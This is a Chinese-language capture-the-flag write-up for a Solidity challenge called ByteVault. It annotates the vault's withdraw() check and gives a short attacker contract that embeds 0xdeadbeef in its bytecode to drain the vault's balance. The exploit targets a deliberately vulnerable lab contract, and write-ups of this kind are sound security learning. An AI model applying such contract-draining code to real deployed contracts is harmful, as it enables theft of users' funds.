ByteVault
分析
1.全局观
代码量很少,只有一个withdraw()
供调用
2.任务
将此合约的余额归零
1 2 3
| function isSolved() public view returns(bool){ return address(this).balance == 0; }
|
3.详细分析
modifier要求我们用合约进行攻击:
1 2 3 4
| modifier onlyBytecode() { require(msg.sender != tx.origin, "No high-level contracts allowed!"); _; }
|
对于withdraw()
的分析如下:我们需要用一个合约进行攻击,这个合约的字节码的字节长度需要是奇数,并且包含了0xdeadbeef
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| function withdraw() external onlyBytecode { uint256 sequence = 0xdeadbeef; bytes memory senderCode;
address bytecaller = msg.sender;
// 那么大概意思就是要让我们用字节码创造一个合约 assembly { let size := extcodesize(bytecaller) // 调用者的代码大小 senderCode := mload(0x40) // 空闲指针 // 修改空闲指针内容 // 修改空闲指针内容,空闲指针指向新的可用内存(将要存储的 size和我们的合约代码 之后的位置) mstore(0x40, add(senderCode, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // 在内存中写入size和实际的合约代码内容 // 操作之后的memory: | size | 实际的代码内容 | 空闲指针指向位置 | mstore(senderCode, size) extcodecopy(bytecaller, add(senderCode, 0x20), 0, size) } // 攻击合约的字节长度必须是奇数 require(senderCode.length % 2 == 1, "Bytecode length must be even!");
// 因此我们的字节码需要包含0xdeadbeef for(uint256 i = 0; i < senderCode.length - 3; i++) { // 第i个字节是0x000000de[de] if(senderCode[i] == byte(uint8(sequence >> 24)) // 第i+1个字节是0x0000dead[ad] && senderCode[i+1] == byte(uint8((sequence >> 16) & 0xFF)) // 第i+2个字节是0x00deadbe[be] && senderCode[i+2] == byte(uint8((sequence >> 8) & 0xFF)) // 第i+3个字节是0xdeadbeef[ef] && senderCode[i+3] == byte(uint8(sequence & 0xFF))) { msg.sender.transfer(address(this).balance); return; } } revert("Sequence not found!"); }
|
我的解题思路:字节码长度是奇数比较简单,不断尝试在合约中添加没用的代码,试出来奇数字节长度的合约;需要包含0xdeadbeef则直接将0xdeadbeef写成constant,硬编码进bytecode即可。
解题
1 2 3 4 5 6 7 8 9 10 11 12 13
| contract attacker{ bytes constant aaa = "0xdeadbeef"; bytes constant bbb = hex"deadbeef";
function attack(BytecodeVault addr) public { bytes memory xx = aaa; bytes memory s = bbb;
addr.withdraw(); }
function() external payable{} }
|